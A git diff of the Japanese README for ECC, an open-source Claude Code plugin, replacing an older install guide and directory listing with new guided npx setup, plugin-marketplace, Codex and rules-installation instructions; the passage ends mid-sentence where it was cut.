+ ECC Pro + GitHub App +

+ 無料でインストール · プライベートリポジトリは $19/シート/月から
- -The Longform Guide to Everything Claude Code - + + +
+ ECC をスポンサーする +

+ オープンソースプロジェクトを支援する +
+ + Discord
+ コミュニティ +

+ Discord · Q&A · Show and Tell
簡潔ガイド
セットアップ、基礎、哲学。まずこれを読んでください。
長文ガイド
トークン最適化、メモリ永続化、評価、並列化。
-| トピック | 学べる内容 | -|-------|-------------------| -| トークン最適化 | モデル選択、システムプロンプト削減、バックグラウンドプロセス | -| メモリ永続化 | セッション間でコンテキストを自動保存/読み込みするフック | -| 継続的学習 | セッションからパターンを自動抽出して再利用可能なスキルに変換 | -| 検証ループ | チェックポイントと継続的評価、スコアラータイプ、pass@k メトリクス | -| 並列化 | Git ワークツリー、カスケード方法、スケーリング時期 | -| サブエージェント オーケストレーション | コンテキスト問題、反復検索パターン | +
---- +**OSS は今後も無料です。** このリポジトリは永久に MIT ライセンスです。ECC Pro はプライベートリポジトリ向けのホスト型 GitHub App です。スポンサーと Pro 購読者がこの活動を支えています。だからこそ、たった一人のメンテナーが 7 つのハーネスに対して毎週リリースを続けられるのです。 -## 新機能 +
-### v1.4.1 — バグ修正(2026年2月) +パートナー & スポンサー -- **instinctインポート時のコンテンツ喪失を修正** — `/instinct-import`実行時に`parse_instinct_file()`がfrontmatter後のすべてのコンテンツ(Action、Evidence、Examplesセクション)を暗黙的に削除していた問題を修正。コミュニティ貢献者@ericcai0814により解決されました([#148](https://github.com/affaan-m/everything-claude-code/issues/148), [#161](https://github.com/affaan-m/everything-claude-code/pull/161)) +

+ CodeRabbit    + Greptile    + Atlas Cloud    + Moonshot AI - Kimi    + Itô Markets +

-### v1.4.0 — マルチ言語ルール、インストールウィザード & PM2(2026年2月) +コミュニティスポンサー: Mike Morgan · @jasonwu513 · @1anter · @massimotodaro · @meadmccabe -- **インタラクティブインストールウィザード** — 新しい`configure-ecc`スキルがマージ/上書き検出付きガイドセットアップを提供 -- **PM2 & マルチエージェントオーケストレーション** — 複雑なマルチサービスワークフロー管理用の6つの新コマンド(`/pm2`, `/multi-plan`, `/multi-execute`, `/multi-backend`, `/multi-frontend`, `/multi-workflow`) -- **マルチ言語ルールアーキテクチャ** — ルールをフラットファイルから`common/` + `typescript/` + `python/` + `golang/`ディレクトリに再構成。必要な言語のみインストール可能 -- **中国語(zh-CN)翻訳** — すべてのエージェント、コマンド、スキル、ルールの完全翻訳(80+ファイル) -- **GitHub Sponsorsサポート** — GitHub Sponsors経由でプロジェクトをスポンサー可能 -- **強化されたCONTRIBUTING.md** — 各貢献タイプ向けの詳細なPRテンプレート +スポンサーになる · スポンサーティア · スポンサーシッププログラム -### v1.3.0 — OpenCodeプラグイン対応(2026年2月) +
-- **フルOpenCode統合** — 20+イベントタイプを通じてOpenCodeのプラグインシステムでフック対応の12エージェント、24コマンド、16スキル -- **3つのネイティブカスタムツール** — run-tests、check-coverage、security-audit -- **LLMドキュメンテーション** — 包括的なOpenCodeドキュメント用の`llms.txt` +

インストールへジャンプ ↓

-### v1.2.0 — 統合コマンド & スキル(2026年2月) +# ECC -- **Python/Djangoサポート** — Djangoパターン、セキュリティ、TDD、検証スキル -- **Java Spring Bootスキル** — Spring Boot用パターン、セキュリティ、TDD、検証 -- **セッション管理** — セッション履歴用の`/sessions`コマンド -- **継続的学習 v2** — 信頼度スコアリング、インポート/エクスポート、進化を伴うinstinctベースの学習 +あなたのエージェントはコードを書けますが、ECC はそこに協調的なエンジニアリングシステムとツールボックスを与えます。構築の前に計画し、テストで変更を検証し、新しいコンテキストから自分の作業をレビューし、重要なことを記憶し、繰り返し成功したことを再利用可能な skills とワークフローに変えていきます。 -完全なチェンジログは[Releases](https://github.com/affaan-m/everything-claude-code/releases)を参照してください。 +```text +plan -> test -> implement -> review -> verify -> remember -> improve +``` ---- +このプロセスをプロンプトのたびに組み立て直すのではなく、一度インストールしてエージェントの働き方の一部にします。 -## クイックスタート +> コンテキストウィンドウを最適化し、それ以外はすべて永続化する。 -2分以内に起動できます: +ECC は MIT ライセンスのオープンソースです。現時点では Claude Code で最もよく機能し、サポート対象の Codex 同期パスを備え、Cursor、OpenCode、Gemini、Zed、GitHub Copilot、Antigravity、Qwen、その他のハーネス向けには機能が限定されたアダプターを提供しています。機能の同等性を前提にする前に、[サポート状況マトリクス](#プラットフォームサポート)を確認してください。 -### ステップ 1:プラグインをインストール +68 の agents、292 の skills、95 のレガシー command シムに加えて、hooks、rules、メモリ、継続的学習、AgentShield セキュリティスキャンを利用できます。agents は計画、レビュー、ビルド修復、セキュリティ、アーキテクチャ、ドメイン作業に特化しています。 + +| 含まれるもの | 数 | 得られるもの | +| ---------------- | ----------: | ------------------------------------------------------------------------------------ | +| Agents | 68 agents | 計画、レビュー、ビルド修復、セキュリティ、アーキテクチャ、ドメイン作業 | +| Skills | 292 skills | TDD、リサーチ、セキュリティ、ドキュメント、フロントエンド、データ、ML、運用など | +| Commands | 95 commands | ECC が skills ファーストの構成へ移行する間の便利なエントリーポイント | +| Hooks とメモリ | ランタイム | 強制、セッションサマリー、継続的学習、instincts、コンテキスト制御 | +| Rules | 選択式 | 言語やプロジェクトごとに選ぶ、常時ロードされる標準 | +| AgentShield | 同梱 | プロンプト、hooks、MCP 設定、パーミッション、シークレット、agent ファイルのスキャン | + +

+ + + + ECC のスター履歴: 2026年1月18日から2月7日までの最初の 40,000 スター + + +

+ +## ECC のインストール + +> [!IMPORTANT] +> ECC 2.2 には Claude Code、Codex、Kimi Code 向けのガイド付きパッケージセットアップが含まれています。 +> ユニバーサルパッケージには Node.js 18 以降が必要です。Claude plugin のセットアップには、 +> さらに Git と Claude Code 2.1 以降が `PATH` 上にあることが必要です。 + +### 推奨: ユニバーサルガイド付きセットアップ + +Claude Code plugin のセットアップ、更新、スコープ変更、hook プロファイルの変更には次を使います。 ```bash -# マーケットプレイスを追加 -/plugin marketplace add https://github.com/affaan-m/ECC +npx ecc-universal@2.2.1 setup +``` -# プラグインをインストール +npm がバージョンまたはキャッシュのエラーを報告した場合は、再試行する前にレジストリのバージョンを確認してください。 + +```bash +npm view ecc-universal version +``` + +ECC 2.2 は、モダンなパッケージランナーでも同じガイド付きセットアップをサポートしています。 + +| パッケージランナー | ガイド付きセットアップコマンド | +|---|---| +| npm / npx | `npx ecc-universal@2.2.1 setup` | +| pnpm | `pnpm dlx ecc-universal@2.2.1 setup` | +| Yarn 2+ | `yarn dlx ecc-universal@2.2.1 setup` | +| Bun | `bunx ecc-universal@2.2.1 setup` | + +これらの例では、このリポジトリのリリースバージョンに対応する[公開済みの ECC 2.2.1 リリース](https://www.npmjs.com/package/ecc-universal/v/2.2.1)を指定しています。バージョンのピン留めはセキュリティ監査でも整合性チェックでもありません。パッケージのコードを実行する前にリリースのソースとレジストリの整合性を確認し、未リリースの変更にはレビュー済みのチェックアウトを使用してください。 + +Yarn Classic 1 には `yarn dlx` がありません。`npx` を使うか、パッケージをグローバルにインストールするか、一時的なワンショット実行のために Yarn をアップグレードしてください。 + +ウィザードは変更を加える前に公式マーケットプレイスとすべてのネイティブ Claude インストールスコープを棚卸しし、その後、選択したスコープに `ecc@ecc` をインストール、更新、または安全に移動します。ECC を更新したいとき、スコープを変えたいとき、hook プロファイルを変えたいときは、いつでも同じコマンドを再実行してください。このセットアップウィザードが現在設定するのは Claude Code plugin です。Codex や Kimi Code には、下記のマルチハーネスウィザードを使用してください。 + +複数のコーディングエージェントを一つのレビュー済みフローで設定するには、マルチハーネスウィザードを使用します。 + +```bash +npx ecc-universal@2.2.1 install --guided +``` + +Claude Code、Codex、Kimi Code の任意の組み合わせを選択でき、各インストールチャネルと配置先を表示し、最初の書き込み前にすべての選択をプリフライトし、最後に一度だけ確認を求めます。 + +| ハーネス | ガイド付きインストールの動作 | +|---|---| +| Claude Code | `user`、`project`、`local` のいずれか一つのスコープと ECC hook プロファイルを持つネイティブ `ecc@ecc` plugin | +| Codex | ネイティブ Codex マーケットプレイス/plugin ライフサイクル。hook のレビューと信頼は Codex 側が管理 | +| Kimi Code | `./.kimi-code` 配下の管理されたプロジェクトファイル。ECC hooks、モデル/プロバイダー設定、認証は設定されません | + +自動化のためには、プロバイダー固有の選択をすべて明示してください。 + +```bash +npx ecc-universal@2.2.1 install --guided \ + --harness claude --harness codex --harness kimi \ + --claude-scope local --claude-hooks standard \ + --profile core --yes +``` + +ネイティブのガイド付き Codex パスと管理された Kimi パスを、書き込みなしで先に検証するには次を実行します。 + +```bash +npx ecc-universal@2.2.1 install --guided --harness codex --dry-run +npx ecc-universal@2.2.1 install --profile core --target kimi --dry-run +``` + +2.2 エイリアスを通じて、追加のパッケージ名コマンドも利用できます。 + +```bash +npx ecc-universal@2.2.1 consult "security reviews" --target claude +npx ecc-universal@2.2.1 install --profile minimal --target claude --with capability:machine-learning +npx ecc-universal@2.2.1 doctor --target kimi +``` + +`npx ecc-install --profile minimal --target claude` は使用しないでください。`ecc-install` は `ecc-universal` 内のバイナリ名であり、個別に公開された npm パッケージではありません。 + +ECC は `cursor`、`antigravity`、`gemini`、`opencode`、`codebuddy`、`joycode`、`qwen`、`zed`、`hermes`、`openclaw` 向けの高度な管理アダプターも提供しています。これらのターゲットは、各アダプターがガイド付きの衝突、更新、修復、アンインストールのライフサイクルマトリクスを通過するまで、ドキュメント化された `ecc install --target ...` パスを引き続き使用します。どちらのウィザードも、検出されたすべてのハーネスに黙ってインストールすることはありません。 + +### パスは一つだけ選ぶ(ハーネスごと) + +ECC は Claude Code、Codex、その他のハーネスで同時に使用できます。ハーネスごとに一つのインストール方法を選んでください。 + +- **推奨デフォルト:** 上記のガイド付き Claude plugin セットアップを実行する +- **Claude Code でもサポート:** [ネイティブ plugin コマンド](#claude-code-の詳細)を使用する +- **リリース 2.2 で利用可能:** Claude Code、Codex、Kimi Code 向けのガイド付きパッケージセットアップ +- **動作します:** Claude Code plugin + Codex ネイティブ plugin +- **動作します:** Claude Code plugin + レガシー Codex 同期フロー +- **避けてください:** Claude Code plugin + フル Claude 手動インストール +- **避けてください:** Codex 同期 + Codex マーケットプレイス plugin + +**インストール方法を重ねないでください。** 同じハーネスに ECC を二度インストールすると、skills、commands、hooks、設定が重複することがあります。複数のハーネスにそれぞれ一度ずつインストールする分には問題ありません。 + +すでに複数のインストールを重ねてしまい、重複しているように見える場合は、[ECC のリセット / アンインストール](#ecc-のリセット--アンインストール)に直接進んでください。 + +**インストールで困っていますか?** 短い[インストールまたはランタイムの問題フォーム](https://github.com/affaan-m/ECC/issues/new?template=install-problem.yml)を開くか、`ecc feedback` を実行してください。ECC が診断情報を自動でアップロードすることはありません。 + +### Claude Code の詳細 + +代わりに、Claude Code 内で Claude Code のネイティブ plugin コマンドを実行することもできます。 + +```text +/plugin marketplace add https://github.com/affaan-m/ECC /plugin install ecc@ecc ``` -### ステップ2:ルールをインストール(必須) +ネイティブパスは ECC の skills、agents、commands、および plugin 管理の hooks をインストールします。この方法を選んだ場合は、そこで止めてください。Claude Code にフルの手動インストールを追加で実行しないでください。 -> WARNING: **重要:** Claude Codeプラグインは`rules`を自動配布できません。手動でインストールしてください: +これらの組み込みコマンドは Claude Code が所有しており、マーケットプレイス、plugin、または競合するスコープがすでに存在する場合のエラーも同様です。ECC はそのパーサーに介入できません。いずれかのネイティブコマンドが既存のインストールやスコープの競合を報告した場合は、2.2 のガイド付きセットアップを使用するか、競合している Claude plugin スコープを解決してから再試行してください。その上に手動インストールを重ねないでください。 + +ECC のインストール後は、`/ecc:configure-ecc` が名前空間付きの Claude 内再設定 skill になります。これは同じ安全なセットアップフローに委譲しますが、plugin のインストール後にのみ利用可能で、初回インストール時に Claude Code 組み込みの `/plugin` コマンドを置き換えることはできません。 + +Claude Code plugins は `rules` を配布できないため、本当に必要な rule パックだけを追加してください。 ```bash -# まずリポジトリをクローン -git clone https://github.com/affaan-m/everything-claude-code.git - -# 共通ルールをインストール(必須) -cp -r everything-claude-code/rules/common ~/.claude/rules/common - -# 言語固有ルールをインストール(スタックを選択) -cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript -cp -r everything-claude-code/rules/python ~/.claude/rules/python -cp -r everything-claude-code/rules/golang ~/.claude/rules/golang +git clone https://github.com/affaan-m/ECC.git +cd ECC +mkdir -p ~/.claude/rules/ecc +cp -R rules/common ~/.claude/rules/ecc/ +cp -R rules/typescript ~/.claude/rules/ecc/ # 使用しているスタックに置き換えてください ``` -### ステップ3:使用開始 +`rules/common` と、実際に使用している言語またはフレームワークのパックを一つ入れるところから始めてください。plugin をインストールした場合は、その後で `./install.sh --profile full` を実行しないでください。 -```bash -# コマンドを試す(プラグインはネームスペース形式) -/ecc:plan "ユーザー認証を追加" +
+settings.json 派ですか?マーケットプレイスを宣言的に追加する -# 手動インストール(オプション2)は短縮形式: -# /plan "ユーザー認証を追加" - -# 利用可能なコマンドを確認 -/plugin list ecc@ecc -``` - -**完了です!** これで13のエージェント、43のスキル、31のコマンドにアクセスできます。 - ---- - -## クロスプラットフォーム対応 - -このプラグインは **Windows、macOS、Linux** を完全にサポートしています。すべてのフックとスクリプトが Node.js で書き直され、最大の互換性を実現しています。 - -### パッケージマネージャー検出 - -プラグインは、以下の優先順位で、お好みのパッケージマネージャー(npm、pnpm、yarn、bun)を自動検出します: - -1. **環境変数**: `CLAUDE_PACKAGE_MANAGER` -2. **プロジェクト設定**: `.claude/package-manager.json` -3. **package.json**: `packageManager` フィールド -4. **ロックファイル**: package-lock.json、yarn.lock、pnpm-lock.yaml、bun.lockb から検出 -5. **グローバル設定**: `~/.claude/package-manager.json` -6. **フォールバック**: 最初に利用可能なパッケージマネージャー - -お好みのパッケージマネージャーを設定するには: - -```bash -# 環境変数経由 -export CLAUDE_PACKAGE_MANAGER=pnpm - -# グローバル設定経由 -node scripts/setup-package-manager.js --global pnpm - -# プロジェクト設定経由 -node scripts/setup-package-manager.js --project bun - -# 現在の設定を検出 -node scripts/setup-package-manager.js --detect -``` - -または Claude Code で `/setup-pm` コマンドを使用。 - ---- - -## 含まれるもの - -このリポジトリは**Claude Codeプラグイン**です - 直接インストールするか、コンポーネントを手動でコピーできます。 - -``` -everything-claude-code/ -|-- .claude-plugin/ # プラグインとマーケットプレイスマニフェスト -| |-- plugin.json # プラグインメタデータとコンポーネントパス -| |-- marketplace.json # /plugin marketplace add 用のマーケットプレイスカタログ -| -|-- agents/ # 委任用の専門サブエージェント -| |-- planner.md # 機能実装計画 -| |-- architect.md # システム設計決定 -| |-- tdd-guide.md # テスト駆動開発 -| |-- code-reviewer.md # 品質とセキュリティレビュー -| |-- security-reviewer.md # 脆弱性分析 -| |-- build-error-resolver.md -| |-- e2e-runner.md # Playwright E2E テスト -| |-- refactor-cleaner.md # デッドコード削除 -| |-- doc-updater.md # ドキュメント同期 -| |-- go-reviewer.md # Go コードレビュー -| |-- go-build-resolver.md # Go ビルドエラー解決 -| |-- python-reviewer.md # Python コードレビュー(新規) -| |-- database-reviewer.md # データベース/Supabase レビュー(新規) -| -|-- skills/ # ワークフロー定義と領域知識 -| |-- coding-standards/ # 言語ベストプラクティス -| |-- backend-patterns/ # API、データベース、キャッシュパターン -| |-- frontend-patterns/ # React、Next.js パターン -| |-- continuous-learning/ # セッションからパターンを自動抽出(長文ガイド) -| |-- continuous-learning-v2/ # 信頼度スコア付き直感ベース学習 -| |-- iterative-retrieval/ # サブエージェント用の段階的コンテキスト精製 -| |-- strategic-compact/ # 手動圧縮提案(長文ガイド) -| |-- tdd-workflow/ # TDD 方法論 -| |-- security-review/ # セキュリティチェックリスト -| |-- eval-harness/ # 検証ループ評価(長文ガイド) -| |-- verification-loop/ # 継続的検証(長文ガイド) -| |-- golang-patterns/ # Go イディオムとベストプラクティス -| |-- golang-testing/ # Go テストパターン、TDD、ベンチマーク -| |-- cpp-testing/ # C++ テスト GoogleTest、CMake/CTest(新規) -| |-- django-patterns/ # Django パターン、モデル、ビュー(新規) -| |-- django-security/ # Django セキュリティベストプラクティス(新規) -| |-- django-tdd/ # Django TDD ワークフロー(新規) -| |-- django-verification/ # Django 検証ループ(新規) -| |-- python-patterns/ # Python イディオムとベストプラクティス(新規) -| |-- python-testing/ # pytest を使った Python テスト(新規) -| |-- quarkus-patterns/ # Quarkus アーキテクチャ、Camel、CDI、Panache パターン(新規) -| |-- quarkus-security/ # Quarkus セキュリティ: JWT/OIDC、RBAC、バリデーション(新規) -| |-- quarkus-tdd/ # Quarkus TDD: JUnit 5、Mockito、REST Assured(新規) -| |-- quarkus-verification/ # Quarkus 検証: ビルド、テスト、ネイティブコンパイル(新規) -| |-- springboot-patterns/ # Java Spring Boot パターン(新規) -| |-- springboot-security/ # Spring Boot セキュリティ(新規) -| |-- springboot-tdd/ # Spring Boot TDD(新規) -| |-- springboot-verification/ # Spring Boot 検証(新規) -| |-- configure-ecc/ # インタラクティブインストールウィザード(新規) -| |-- security-scan/ # AgentShield セキュリティ監査統合(新規) -| -|-- commands/ # スラッシュコマンド用クイック実行 -| |-- tdd.md # /tdd - テスト駆動開発 -| |-- plan.md # /plan - 実装計画 -| |-- e2e.md # /e2e - E2E テスト生成 -| |-- code-review.md # /code-review - 品質レビュー -| |-- build-fix.md # /build-fix - ビルドエラー修正 -| |-- refactor-clean.md # /refactor-clean - デッドコード削除 -| |-- learn.md # /learn - セッション中のパターン抽出(長文ガイド) -| |-- checkpoint.md # /checkpoint - 検証状態を保存(長文ガイド) -| |-- verify.md # /verify - 検証ループを実行(長文ガイド) -| |-- setup-pm.md # /setup-pm - パッケージマネージャーを設定 -| |-- go-review.md # /go-review - Go コードレビュー(新規) -| |-- go-test.md # /go-test - Go TDD ワークフロー(新規) -| |-- go-build.md # /go-build - Go ビルドエラーを修正(新規) -| |-- skill-create.md # /skill-create - Git 履歴からスキルを生成(新規) -| |-- instinct-status.md # /instinct-status - 学習した直感を表示(新規) -| |-- instinct-import.md # /instinct-import - 直感をインポート(新規) -| |-- instinct-export.md # /instinct-export - 直感をエクスポート(新規) -| |-- evolve.md # /evolve - 直感をスキルにクラスタリング -| |-- pm2.md # /pm2 - PM2 サービスライフサイクル管理(新規) -| |-- multi-plan.md # /multi-plan - マルチエージェント タスク分解(新規) -| |-- multi-execute.md # /multi-execute - オーケストレーション マルチエージェント ワークフロー(新規) -| |-- multi-backend.md # /multi-backend - バックエンド マルチサービス オーケストレーション(新規) -| |-- multi-frontend.md # /multi-frontend - フロントエンド マルチサービス オーケストレーション(新規) -| |-- multi-workflow.md # /multi-workflow - 一般的なマルチサービス ワークフロー(新規) -| -|-- rules/ # 常に従うべきガイドライン(~/.claude/rules/ にコピー) -| |-- README.md # 構造概要とインストールガイド -| |-- common/ # 言語非依存の原則 -| | |-- coding-style.md # イミュータビリティ、ファイル組織 -| | |-- git-workflow.md # コミットフォーマット、PR プロセス -| | |-- testing.md # TDD、80% カバレッジ要件 -| | |-- performance.md # モデル選択、コンテキスト管理 -| | |-- patterns.md # デザインパターン、スケルトンプロジェクト -| | |-- hooks.md # フック アーキテクチャ、TodoWrite -| | |-- agents.md # サブエージェントへの委任時機 -| | |-- security.md # 必須セキュリティチェック -| |-- typescript/ # TypeScript/JavaScript 固有 -| |-- python/ # Python 固有 -| |-- golang/ # Go 固有 -| -|-- hooks/ # トリガーベースの自動化 -| |-- hooks.json # すべてのフック設定(PreToolUse、PostToolUse、Stop など) -| |-- memory-persistence/ # セッションライフサイクルフック(長文ガイド) -| |-- strategic-compact/ # 圧縮提案(長文ガイド) -| -|-- scripts/ # クロスプラットフォーム Node.js スクリプト(新規) -| |-- lib/ # 共有ユーティリティ -| | |-- utils.js # クロスプラットフォーム ファイル/パス/システムユーティリティ -| | |-- package-manager.js # パッケージマネージャー検出と選択 -| |-- hooks/ # フック実装 -| | |-- session-start.js # セッション開始時にコンテキストを読み込む -| | |-- session-end.js # セッション終了時に状態を保存 -| | |-- pre-compact.js # 圧縮前の状態保存 -| | |-- suggest-compact.js # 戦略的圧縮提案 -| | |-- evaluate-session.js # セッションからパターンを抽出 -| |-- setup-package-manager.js # インタラクティブ PM セットアップ -| -|-- tests/ # テストスイート(新規) -| |-- lib/ # ライブラリテスト -| |-- hooks/ # フックテスト -| |-- run-all.js # すべてのテストを実行 -| -|-- contexts/ # 動的システムプロンプト注入コンテキスト(長文ガイド) -| |-- dev.md # 開発モード コンテキスト -| |-- review.md # コードレビューモード コンテキスト -| |-- research.md # リサーチ/探索モード コンテキスト -| -|-- examples/ # 設定例とセッション -| |-- CLAUDE.md # プロジェクトレベル設定例 -| |-- user-CLAUDE.md # ユーザーレベル設定例 -| -|-- mcp-configs/ # MCP サーバー設定 -| |-- mcp-servers.json # GitHub、Supabase、Vercel、Railway など -| -|-- marketplace.json # 自己ホストマーケットプレイス設定(/plugin marketplace add 用) -``` - ---- - -## エコシステムツール - -### スキル作成ツール - -リポジトリから Claude Code スキルを生成する 2 つの方法: - -#### オプション A:ローカル分析(ビルトイン) - -外部サービスなしで、ローカル分析に `/skill-create` コマンドを使用: - -```bash -/skill-create # 現在のリポジトリを分析 -/skill-create --instincts # 継続的学習用の直感も生成 -``` - -これはローカルで Git 履歴を分析し、SKILL.md ファイルを生成します。 - -#### オプション B:GitHub アプリ(高度な機能) - -高度な機能用(10k+ コミット、自動 PR、チーム共有): - -[GitHub アプリをインストール](https://github.com/apps/skill-creator) | [ecc.tools](https://ecc.tools) - -```bash -# 任意の Issue にコメント: -/skill-creator analyze - -# またはデフォルトブランチへのプッシュで自動トリガー -``` - -両オプションで生成されるもの: -- **SKILL.mdファイル** - Claude Codeですぐに使えるスキル -- **instinctコレクション** - continuous-learning-v2用 -- **パターン抽出** - コミット履歴からの学習 - -### AgentShield — セキュリティ監査ツール - -Claude Code 設定の脆弱性、誤設定、インジェクションリスクをスキャンします。 - -```bash -# クイックスキャン(インストール不要) -npx ecc-agentshield scan - -# 安全な問題を自動修正 -npx ecc-agentshield scan --fix - -# Opus 4.6 による深い分析 -npx ecc-agentshield scan --opus --stream - -# ゼロから安全な設定を生成 -npx ecc-agentshield init -``` - -CLAUDE.md、settings.json、MCP サーバー、フック、エージェント定義をチェックします。セキュリティグレード(A-F)と実行可能な結果を生成します。 - -Claude Codeで`/security-scan`を実行、または[GitHub Action](https://github.com/affaan-m/agentshield)でCIに追加できます。 - -[GitHub](https://github.com/affaan-m/agentshield) | [npm](https://www.npmjs.com/package/ecc-agentshield) - -### 継続的学習 v2 - -instinctベースの学習システムがパターンを自動学習: - -```bash -/instinct-status # 信頼度付きで学習したinstinctを表示 -/instinct-import # 他者のinstinctをインポート -/instinct-export # instinctをエクスポートして共有 -/evolve # 関連するinstinctをスキルにクラスタリング -``` - -完全なドキュメントは`skills/continuous-learning-v2/`を参照してください。 - ---- - -## 要件 - -### Claude Code CLI バージョン - -**最小バージョン: v2.1.0 以上** - -このプラグインは Claude Code CLI v2.1.0+ が必要です。プラグインシステムがフックを処理する方法が変更されたためです。 - -バージョンを確認: -```bash -claude --version -``` - -### 重要: フック自動読み込み動作 - -> WARNING: **貢献者向け:** `.claude-plugin/plugin.json`に`"hooks"`フィールドを追加しないでください。これは回帰テストで強制されます。 - -Claude Code v2.1+は、インストール済みプラグインの`hooks/hooks.json`(規約)を自動読み込みします。`plugin.json`で明示的に宣言するとエラーが発生します: - -``` -Duplicate hook file detected: ./hooks/hooks.json is already resolved to a loaded file -``` - -**背景:** これは本リポジトリで複数の修正/リバート循環を引き起こしました([#29](https://github.com/affaan-m/everything-claude-code/issues/29), [#52](https://github.com/affaan-m/everything-claude-code/issues/52), [#103](https://github.com/affaan-m/everything-claude-code/issues/103))。Claude Codeバージョン間で動作が変わったため混乱がありました。今後を防ぐため回帰テストがあります。 - ---- - -## インストール - -### オプション1:プラグインとしてインストール(推奨) - -このリポジトリを使用する最も簡単な方法 - Claude Codeプラグインとしてインストール: - -```bash -# このリポジトリをマーケットプレイスとして追加 -/plugin marketplace add https://github.com/affaan-m/ECC - -# プラグインをインストール -/plugin install ecc@ecc -``` - -または、`~/.claude/settings.json` に直接追加: +`~/.claude/settings.json` に直接追加します。 ```json { @@ -441,7 +290,7 @@ Duplicate hook file detected: ./hooks/hooks.json is already resolved to a loaded "ecc": { "source": { "source": "github", - "repo": "affaan-m/everything-claude-code" + "repo": "affaan-m/ECC" } } }, @@ -451,102 +300,785 @@ Duplicate hook file detected: ./hooks/hooks.json is already resolved to a loaded } ``` -これで、すべてのコマンド、エージェント、スキル、フックにすぐにアクセスできます。 +これにより、上記の二つの `/plugin` コマンドと同じ結果が得られます。 +
-> **注:** Claude Codeプラグインシステムは`rules`をプラグイン経由で配布できません([アップストリーム制限](https://code.claude.com/docs/en/plugins-reference))。ルールは手動でインストールする必要があります: -> -> ```bash -> # まずリポジトリをクローン -> git clone https://github.com/affaan-m/everything-claude-code.git -> -> # オプション A:ユーザーレベルルール(すべてのプロジェクトに適用) -> mkdir -p ~/.claude/rules -> cp -r everything-claude-code/rules/common ~/.claude/rules/common -> cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # スタックを選択 -> cp -r everything-claude-code/rules/python ~/.claude/rules/python -> cp -r everything-claude-code/rules/golang ~/.claude/rules/golang -> -> # オプション B:プロジェクトレベルルール(現在のプロジェクトのみ) -> mkdir -p .claude/rules -> cp -r everything-claude-code/rules/common .claude/rules/common -> cp -r everything-claude-code/rules/typescript .claude/rules/typescript # スタックを選択 -> ``` +
+命名と移行に関する注記(ecc@ecc、affaan-m/ECC、ecc-universal) ---- +ECC には三つの公開識別子があり、これらは互いに置き換えられません。 -### オプション2:手動インストール +- GitHub ソースリポジトリ: `affaan-m/ECC` +- Claude マーケットプレイス/plugin 識別子: `ecc@ecc` +- npm パッケージ: `ecc-universal` -インストール内容を手動で制御したい場合: +これは意図的なものです。Anthropic のマーケットプレイス/plugin インストールは正規の plugin 識別子をキーとするため、ECC は厳格な Desktop/API バリデーターに対してツール名とスラッシュコマンドの名前空間を十分に短く保つために `ecc@ecc` を使用しています。古い投稿には以前の長いマーケットプレイス識別子が残っている場合がありますが、それはレガシーエイリアスとしてのみ扱ってください。一方、npm パッケージは `ecc-universal` のままなので、npm インストールとマーケットプレイスインストールは意図的に異なる名前を使用しています。 + +npm リリースはコミットごとではなくバージョンタグごとに切られるため、`ecc-universal` は `main` へのすべてのプッシュではなく、リリース(2.1、2.2、...)を追跡します。最新の開発版が必要な場合は git からインストールしてください。 + +ローカルの Claude セットアップが消去またはリセットされた場合でも、何かを買い直す必要があるわけではありません。まず `node scripts/ecc.js list-installed` から始め、次に `node scripts/ecc.js doctor` と `node scripts/ecc.js repair` を実行してから再インストールしてください。通常はこれで、セットアップを組み直すことなく ECC 管理のファイルが復元されます。 +
+ +### Codex App と CLI + +現在の Codex リリースでは、ECC をネイティブのリポジトリマーケットプレイス plugin としてインストールできます。マーケットプレイスエントリはリポジトリルートを使用するため、Codex のキャッシュはマニフェストとともに、参照されるすべての skills、MCP 設定、hook ランタイム、スクリプト、アセットを受け取ります。 ```bash -# リポジトリをクローン -git clone https://github.com/affaan-m/everything-claude-code.git - -# エージェントを Claude 設定にコピー -cp everything-claude-code/agents/*.md ~/.claude/agents/ - -# ルール(共通 + 言語固有)をコピー -cp -r everything-claude-code/rules/common ~/.claude/rules/common -cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # スタックを選択 -cp -r everything-claude-code/rules/python ~/.claude/rules/python -cp -r everything-claude-code/rules/golang ~/.claude/rules/golang - -# コマンドをコピー -cp everything-claude-code/commands/*.md ~/.claude/commands/ - -# スキルをコピー -cp -r everything-claude-code/skills/* ~/.claude/skills/ +codex plugin marketplace add affaan-m/ECC +codex plugin add ecc@ecc +codex plugin list --json +node scripts/codex/check-plugin-cache.js ``` -#### settings.json にフックを追加 +どちらの add コマンドも冪等です。後で更新するには、`codex plugin marketplace upgrade ecc` に続けて `codex plugin add ecc@ecc` を実行します。Codex はアクティブな `CODEX_HOME` に一つの有効化された plugin 状態を保存し、Claude の `user`、`project`、`local` スコープは提供しません。そのネイティブ hooks は明示的な信頼の決定を必要とし、Claude の四つの ECC hook プロファイルは使用しません。Codex 内では、ガイド付きのプロバイダー対応フローとして `$configure-ecc` を呼び出してください。 -手動インストール時のみ、`hooks/hooks.json` のフックを `~/.claude/settings.json` にコピーします。 +従来の `scripts/sync-ecc-to-codex.sh` パスは、`~/.codex` にコピーおよびマージされた設定を意図的に必要とするユーザー向けの非推奨互換オプションであり、ネイティブ plugin には不要です。新しい同期の実行では所有権マニフェストを書き出すため、クリーンアップ時に変更されたユーザーファイルを保護できます。まず Codex を一度実行して `~/.codex/config.toml` が存在する状態にしてから、次を実行します。 -`/plugin install` で ECC を導入した場合は、これらのフックを `settings.json` にコピーしないでください。Claude Code v2.1+ はプラグインの `hooks/hooks.json` を自動読み込みするため、二重登録すると重複実行や `${CLAUDE_PLUGIN_ROOT}` の解決失敗が発生します。 +```bash +git clone https://github.com/affaan-m/ECC.git +cd ECC +npm install +bash scripts/sync-ecc-to-codex.sh +``` -#### MCP を設定 +Codex の会話やネイティブ plugin キャッシュに触れずに、そのレガシーレイヤーを確認または削除するには次を実行します。 -`mcp-configs/mcp-servers.json` から必要な MCP サーバーを `~/.claude.json` にコピーします。 +```bash +node scripts/ecc.js uninstall --legacy-codex-sync --dry-run +node scripts/ecc.js uninstall --legacy-codex-sync +``` -**重要:** `YOUR_*_HERE`プレースホルダーを実際のAPIキーに置き換えてください。 +マニフェスト以前のインストールは保守的に扱われます。ECC はマークされた `AGENTS.md` ブロックを削除しますが、所有を証明できないコピー済みファイルは保持し、レビュー用に報告します。 ---- +プロジェクトローカルのセットアップとして、ECC リポジトリを Codex で直接開くこともできます。Codex はグローバル同期なしで、ルートの `AGENTS.md` と `.codex/` 